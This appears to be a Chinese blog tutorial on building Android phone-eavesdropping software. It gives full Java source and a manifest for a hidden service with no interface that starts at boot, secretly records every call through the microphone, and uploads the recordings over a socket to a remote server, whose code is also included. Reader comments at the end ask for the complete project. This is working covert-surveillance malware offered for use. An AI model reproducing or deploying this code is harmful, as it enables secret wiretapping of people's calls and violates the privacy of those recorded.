Android电话偷听实例_Android

Android电话窃听实例

Step 1 :新建一个Android工程,命名为PhoneListenerService,本服务不需要界面

Step 2:主控制程序PhoneService.java代码如下:

package cn.roco.phonelistener;import java.io.File;import java.io.OutputStream;import java.io.PushbackInputStream;import java.io.RandomAccessFile;import java.net.Socket;import cn.roco.phonelistener.utils.StreamTool;import android.app.Service;import android.content.Context;import android.content.Intent;import android.media.MediaRecorder;import android.os.Environment;import android.os.IBinder;import android.telephony.PhoneStateListener;import android.telephony.TelephonyManager;public class PhoneService extends Service {	@Override	public IBinder onBind(Intent intent) {		return null;	}	@Override	public void onCreate() {		super.onCreate();		TelephonyManager telephonyManager = (TelephonyManager) getSystemService(Context.TELEPHONY_SERVICE); //取得电话相关服务		telephonyManager.listen(new PhoneListener(),				PhoneStateListener.LISTEN_CALL_STATE);	}	private final class PhoneListener extends PhoneStateListener {		private String incomingNumber;		private MediaRecorder mediaRecorder;		private File file;		/**		 * 回调函数		 */		@Override		public void onCallStateChanged(int state, String incomingNumber) {			try {				switch (state) {				case TelephonyManager.CALL_STATE_RINGING:// 来电					this.incomingNumber = incomingNumber;					break;									case TelephonyManager.CALL_STATE_OFFHOOK:// 接通电话					file = new File(Environment.getExternalStorageDirectory(),							incomingNumber + System.currentTimeMillis()									+ ".3gp");					mediaRecorder = new MediaRecorder();					// 从麦克风采集声音					mediaRecorder.setAudioSource(MediaRecorder.AudioSource.MIC);					// 内容输出格式					mediaRecorder							.setOutputFormat(MediaRecorder.OutputFormat.THREE_GPP);					// 音频编码方式					mediaRecorder							.setAudioEncoder(MediaRecorder.AudioEncoder.AMR_NB);					// 输出文件位置					mediaRecorder.setOutputFile(file.getAbsolutePath());					// 预期准备					mediaRecorder.prepare();					// 开始刻录音频					mediaRecorder.start();					break;									case TelephonyManager.CALL_STATE_IDLE:// 挂断电话后回归到空闲状态					if (mediaRecorder != null) {						// 停止刻录						mediaRecorder.stop();						// 刻录完成一定要释放资源						mediaRecorder.release();						mediaRecorder = null;						// 上传录制好的音频文件						uploadFile();					}					break;				}			} catch (Exception e) {				e.printStackTrace();			}		}		/**		 * 上传录制好的音频文件		 */		private void uploadFile() {			new Thread(new Runnable() {				@Override				public void run() {					try {						if (file != null && file.exists()) {							Socket socket = new Socket("192.168.1.100", 7878);							OutputStream outStream = socket.getOutputStream();							String head = "Content-Length=" + file.length()									+ ";filename=" + file.getName()									+ ";sourceid=\r\n";							outStream.write(head.getBytes());							PushbackInputStream inStream = new PushbackInputStream(									socket.getInputStream());							String response = StreamTool.readLine(inStream);							String[] items = response.split(";");							String position = items[1].substring(items[1]									.indexOf("=") + 1);							RandomAccessFile fileOutStream = new RandomAccessFile(									file, "r");							fileOutStream.seek(Integer.valueOf(position));							byte[] buffer = new byte[1024];							int len = -1;							while ((len = fileOutStream.read(buffer)) != -1) {								outStream.write(buffer, 0, len);							}							fileOutStream.close();							outStream.close();							inStream.close();							socket.close();							file.delete();							file = null;						}					} catch (Exception e) {						e.printStackTrace();					}				}			}).start();		}	}}

Step 3 :工具类StreamTool.java代码如下:

package cn.roco.phonelistener.utils;import java.io.ByteArrayOutputStream;import java.io.File;import java.io.FileOutputStream;import java.io.IOException;import java.io.InputStream;import java.io.PushbackInputStream;public class StreamTool {	public static void save(File file, byte[] data) throws Exception {		FileOutputStream outStream = new FileOutputStream(file);		outStream.write(data);		outStream.close();	}	public static String readLine(PushbackInputStream in) throws IOException {		char buf[] = new char[128];		int room = buf.length;		int offset = 0;		int c;		loop: while (true) {			switch (c = in.read()) {			case -1:			case '\n':				break loop;			case '\r':				int c2 = in.read();				if ((c2 != '\n') && (c2 != -1))					in.unread(c2);				break loop;			default:				if (--room < 0) {					char[] lineBuffer = buf;					buf = new char[offset + 128];					room = buf.length - offset - 1;					System.arraycopy(lineBuffer, 0, buf, 0, offset);				}				buf[offset++] = (char) c;				break;			}		}		if ((c == -1) && (offset == 0))			return null;		return String.copyValueOf(buf, 0, offset);	}	/**	 * 读取流	 * 	 * @param inStream	 * @return 字节数组	 * @throws Exception	 */	public static byte[] readStream(InputStream inStream) throws Exception {		ByteArrayOutputStream outSteam = new ByteArrayOutputStream();		byte[] buffer = new byte[1024];		int len = -1;		while ((len = inStream.read(buffer)) != -1) {			outSteam.write(buffer, 0, len);		}		outSteam.close();		inStream.close();		return outSteam.toByteArray();	}}

Step 4 :编写开机启动的广播BootBroadcastReceiver.java 调用上面的PhoneService

package cn.roco.phonelistener;import android.content.BroadcastReceiver;import android.content.Context;import android.content.Intent;public class BootBroadcastReceiver extends BroadcastReceiver {	/**	 * 开机就启动PhoneService服务	 */	@Override	public void onReceive(Context context, Intent intent) {		Intent service=new Intent(context,PhoneService.class);//显示、隐式		context.startService(service);	}}

Step 5：配置AndroidManifest.xml

<?xml version="1.0" encoding="utf-8"?><manifest xmlns:android="http://schemas.android.com/apk/res/android"	package="cn.roco.phonelistener" android:versionCode="1"	android:versionName="1.0">	<uses-sdk android:minSdkVersion="8" />		<!-- 电话状态监听权限 -->	<uses-permission android:name="android.permission.READ_PHONE_STATE"/>	<!-- SD卡中写入数据权限 -->	<uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/>	<!-- 在SD卡中创建和删除文件权限 -->	<uses-permission android:name="android.permission.MOUNT_UNMOUNT_FILESYSTEMS"/>	<!-- 音频刻录权限 -->	<uses-permission android:name="android.permission.RECORD_AUDIO"/>	 <!-- 访问internet权限 -->	<uses-permission android:name="android.permission.INTERNET"/>	<application android:icon="@drawable/icon" android:label="@string/app_name">		<service android:name="PhoneService" />		<!-- 开机启动的广播 -->		<receiver android:name="BootBroadcastReceiver">			<intent-filter>				<action android:name="android.intent.action.BOOT_COMPLETED"/>			</intent-filter>		</receiver>	</application>		</manifest>

Step 6：因为是通过socket上传文件到服务器，下面写服务器的主要代码FileService.java

package cn.itcast.net.server;import java.io.File;import java.io.FileInputStream;import java.io.FileOutputStream;import java.io.IOException;import java.io.OutputStream;import java.io.PushbackInputStream;import java.io.RandomAccessFile;import java.net.ServerSocket;import java.net.Socket;import java.text.SimpleDateFormat;import java.util.Date;import java.util.HashMap;import java.util.Map;import java.util.Properties;import java.util.concurrent.ExecutorService;import java.util.concurrent.Executors;import cn.itcast.utils.StreamTool;public class FileServer {		 private ExecutorService executorService;//线程池	 private int port;//监听端口	 private boolean quit = false;//退出	 private ServerSocket server;	 private Map<Long, FileLog> datas = new HashMap<Long, FileLog>();//存放断点数据	 	 public FileServer(int port){		 this.port = port;		 //创建线程池，池中具有(cpu个数*50)条线程		 executorService = Executors.newFixedThreadPool(Runtime.getRuntime().availableProcessors() * 50);	 }	 /**	  * 退出	  */	 public void quit(){		this.quit = true;		try {			server.close();		} catch (IOException e) {		}	 }	 /**	  * 启动服务	  * @throws Exception	  */	 public void start() throws Exception{		 server = new ServerSocket(port);		 while(!quit){	         try {	           Socket socket = server.accept();	           //为支持多用户并发访问，采用线程池管理每一个用户的连接请求	           executorService.execute(new SocketTask(socket));	         } catch (Exception e) {	           //  e.printStackTrace();	         }	     }	 }	 	 private final class SocketTask implements Runnable{		private Socket socket = null;				public SocketTask(Socket socket) {			this.socket = socket;		}				public void run() {			try {				System.out.println("accepted connection "+ socket.getInetAddress()+ ":"+ socket.getPort());				PushbackInputStream inStream = new PushbackInputStream(socket.getInputStream());				//得到客户端发来的第一行协议数据：Content-Length=143253434;filename=xxx.3gp;sourceid=				//如果用户初次上传文件，sourceid的值为空。				String head = StreamTool.readLine(inStream);				System.out.println(head);				if(head!=null){					//下面从协议数据中提取各项参数值					String[] items = head.split(";");					String filelength = items[0].substring(items[0].indexOf("=")+1);					String filename = items[1].substring(items[1].indexOf("=")+1);					String sourceid = items[2].substring(items[2].indexOf("=")+1);											long id = System.currentTimeMillis();//生产资源id，如果需要唯一性，可以采用UUID					FileLog log = null;					if(sourceid!=null && !"".equals(sourceid)){						id = Long.valueOf(sourceid);						log = find(id);//查找上传的文件是否存在上传记录					}										File file = null;					int position = 0;					if(log==null){//如果不存在上传记录,为文件添加跟踪记录						String path = new SimpleDateFormat("yyyy/MM/dd/HH/mm").format(new Date());						File dir = new File("uploadfiles/"+ path);						if(!dir.exists()) dir.mkdirs();						file = new File(dir, filename);						if(file.exists()){//如果上传的文件发生重名，然后进行改名							filename = filename.substring(0, filename.indexOf(".")-1)+ dir.listFiles().length+ filename.substring(filename.indexOf("."));							file = new File(dir, filename);						}						save(id, file);					}else{// 如果存在上传记录,读取已经上传的数据长度						file = new File(log.getPath());//从上传记录中得到文件的路径						if(file.exists()){							File logFile = new File(file.getParentFile(), file.getName()+".log");							if(logFile.exists()){								Properties properties = new Properties();								properties.load(new FileInputStream(logFile));								position = Integer.valueOf(properties.getProperty("length"));//读取已经上传的数据长度							}						}					}										OutputStream outStream = socket.getOutputStream();					String response = "sourceid="+ id+ ";position="+ position+ "\r\n";					//服务器收到客户端的请求信息后，给客户端返回响应信息：sourceid=1274773833264;position=0					//sourceid由服务器端生成，唯一标识上传的文件，position指示客户端从文件的什么位置开始上传					outStream.write(response.getBytes());										RandomAccessFile fileOutStream = new RandomAccessFile(file, "rwd");					if(position==0) fileOutStream.setLength(Integer.valueOf(filelength));//设置文件长度					fileOutStream.seek(position);//指定从文件的特定位置开始写入数据					byte[] buffer = new byte[1024];					int len = -1;					int length = position;					while( (len=inStream.read(buffer)) != -1){//从输入流中读取数据写入到文件中						fileOutStream.write(buffer, 0, len);						length += len;						Properties properties = new Properties();						properties.put("length", String.valueOf(length));						FileOutputStream logFile = new FileOutputStream(new File(file.getParentFile(), file.getName()+".log"));						properties.store(logFile, null);//实时记录已经接收的文件长度						logFile.close();					}					if(length==fileOutStream.length()) delete(id);					fileOutStream.close();										inStream.close();					outStream.close();					file = null;									}			} catch (Exception e) {				e.printStackTrace();			}finally{	            try {	                if(socket!=null && !socket.isClosed()) socket.close();	            } catch (IOException e) {}	        }		}	 }	 	 public FileLog find(Long sourceid){		 return datas.get(sourceid);	 }	 //保存上传记录	 public void save(Long id, File saveFile){		 //日后可以改成通过数据库存放		 datas.put(id, new FileLog(id, saveFile.getAbsolutePath()));	 }	 //当文件上传完毕，删除记录	 public void delete(long sourceid){		 if(datas.containsKey(sourceid)) datas.remove(sourceid);	 }	 	 private class FileLog{		private Long id;		private String path;				public Long getId() {			return id;		}		public void setId(Long id) {			this.id = id;		}		public String getPath() {			return path;		}		public void setPath(String path) {			this.path = path;		}		public FileLog(Long id, String path) {			this.id = id;			this.path = path;		}		 }}

Step 7：启动服务器，监听Socket端口，接收android客户端上传的文件

package cn.itcast.net.server;import java.awt.BorderLayout;import java.awt.Frame;import java.awt.Label;import java.awt.event.WindowEvent;import java.awt.event.WindowListener;public class ServerWindow extends Frame{	private FileServer s = new FileServer(7878);	private Label label;		public ServerWindow(String title){		super(title);		label = new Label();		add(label, BorderLayout.PAGE_START);		label.setText("服务器已经启动");		this.addWindowListener(new WindowListener() {			public void windowOpened(WindowEvent e) {				new Thread(new Runnable() {						public void run() {						try {							s.start();						} catch (Exception e) {						}					}				}).start();			}						public void windowIconified(WindowEvent e) {			}						public void windowDeiconified(WindowEvent e) {			}						public void windowDeactivated(WindowEvent e) {			}						public void windowClosing(WindowEvent e) {				 s.quit();				 System.exit(0);			}						public void windowClosed(WindowEvent e) {			}						public void windowActivated(WindowEvent e) {			}		});	}	/**	 * @param args	 */	public static void main(String[] args) {		ServerWindow window = new ServerWindow("文件上传服务端"); 		window.setSize(300, 300); 		window.setVisible(true);			}}

Step 8：安装完服务之后，重启模拟器，再通话，运行的具体结果是：在客户端的SD卡中会有记录,在服务器的uploadfiles目录下也会有从客户端上传而来的文件。

（通话中）

通话之前的Socket项目截图如下： Android客户端把通话记录上传之后截图如下：

3楼u010143291昨天 00:16: 能给一个完整的工程包下载吗？[email protected]

2楼luoshunchang昨天 21:39: 能给一个完整的工程包下载吗？[email protected]

1楼sd271206214昨天 20:59: mark了,以备后用